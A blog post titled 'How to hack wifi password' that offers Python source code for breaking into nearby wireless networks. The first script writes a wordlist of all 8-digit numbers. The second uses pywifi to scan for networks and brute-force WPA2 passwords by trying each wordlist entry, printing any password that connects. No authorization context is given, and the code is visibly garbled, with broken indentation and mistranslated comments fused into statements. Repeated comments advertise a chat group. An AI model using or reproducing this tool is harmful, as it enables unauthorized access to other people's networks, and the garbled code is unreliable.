Skip to main content

How to hack wifi password ' Sourse code '


import itertools as its
'''
 Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own!
'''
if __name__ == '__main__':
    words_num = "1234567890"
    words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    r = its.product(words_num, repeat=8)
         dic = open ( "password-8 digits .txt", "w")
    for i in r:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()


import pywifi
 
from pywifi import const # quote some definitions
 
import time
'''
 Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own!
'''
 
def getwifi(wifilist, wificount):
         wifi = pywifi.PyWiFi () # crawled network interface cards
         ifaces = wifi.interfaces () [0] # Get the card
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
                 if data.ssid not in namelist: # remove duplicate names WIFI
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    if len(allwifilist) is not 0:
        for item in allwifilist:
            if (item[0] not in ssidlist) & (item[0] not in wifilist):
                n = n + 1
                if n <= wificount:
                    ssidlist.append(item[0])
    print(allwifilist)
    return ssidlist
 
 
def getifaces():
         wifi = pywifi.PyWiFi () # crawled network interface cards
         ifaces = wifi.interfaces () [0] # Get the card
         ifaces.disconnect () # disconnect unlimited card connection
    return ifaces
 
 
def testwifi(ifaces, ssidname, password):
         profile = pywifi.Profile () # create a wifi connection file
         profile.ssid = ssidname # define wifissid
         profile.auth = open const.AUTH_ALG_OPEN # NIC
         profile.akm.append (const.AKM_TYPE_WPA2PSK) # wifi encryption algorithm
         encrypting unit profile.cipher = const.CIPHER_TYPE_CCMP #
         profile.key = password # wifi password
         ifaces.remove_all_network_profiles () # delete all other configuration files
         tmp_profile = ifaces.add_network_profile (profile) # load the configuration file
         ifaces.connect (tmp_profile) # wifi connection
         You can connect to the inner (5) # 5 seconds time.sleep
    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False
 
 
def beginwork(wifinamelist):
    ifaces = getifaces()
         path = r "password-8 digits .txt"
         # Path = r "password- commonly used passwords .txt"
    files = open(path, 'r')
    while True:
        try:
            password = files.readline()
            password = password.strip('\n')
            if not password:
                break
            for wifiname in wifinamelist:
                                 print ( "are trying to:" + wifiname + "," + password)
                if testwifi(ifaces, wifiname, password):
                                         print ( "Wifi account:" + wifiname + ", Wifi password:" + password)
                    wifinamelist.remove(wifiname)
                    break
            if not wifinamelist:
                break
        except:
            continue
    files.close()
 
 
if __name__ == '__main__':
         wifinames_e = [ "", "Vrapile"] # exclude wifi name does not crack
    wifinames = getwifi(wifinames_e, 5)
    print(wifinames)
    beginwork(wifinames)

Comments

Popular posts from this blog

How to Draw Sinchan by using Python

                *****SOURCE CODE *****  from turtle import * #import time s=Screen() s.screensize(700,1000) speed(5) def myPosition(x, y):     penup()     goto(x, y)     pendown() #time.sleep(10) #ht() pensize(2) def ankur():     fillcolor('#ffec40')     begin_fill()     right(25)     forward(20)     right(45)     forward(20)     left(70)     forward(90)     left(95)     forward(75)     left(85)     forward(175)     left(85)     forward(75)     left(95)     forward(90)     left(85)     forward(18)     end_fill() def leftLeg():     myPosition(-39,-25)     fillcolor("#ffd699")     begin_fill()     right(89)     forward(25)     right(90)     forward(50)   ...

Data science with Python free course

This Data Science with Python program provides learners with a complete understanding of data analytics tools & techniques. Getting started with Python can help you gain knowledge on data analysis, visualization, NumPy, SciPy, web scraping, and natural language processing. This program is an ideal kickstarter for anyone looking to become a Data Scientist. Free To Enroll  👇Click on this link👇 https://www.simplilearn.com/getting-started-data-science-with-python-skillup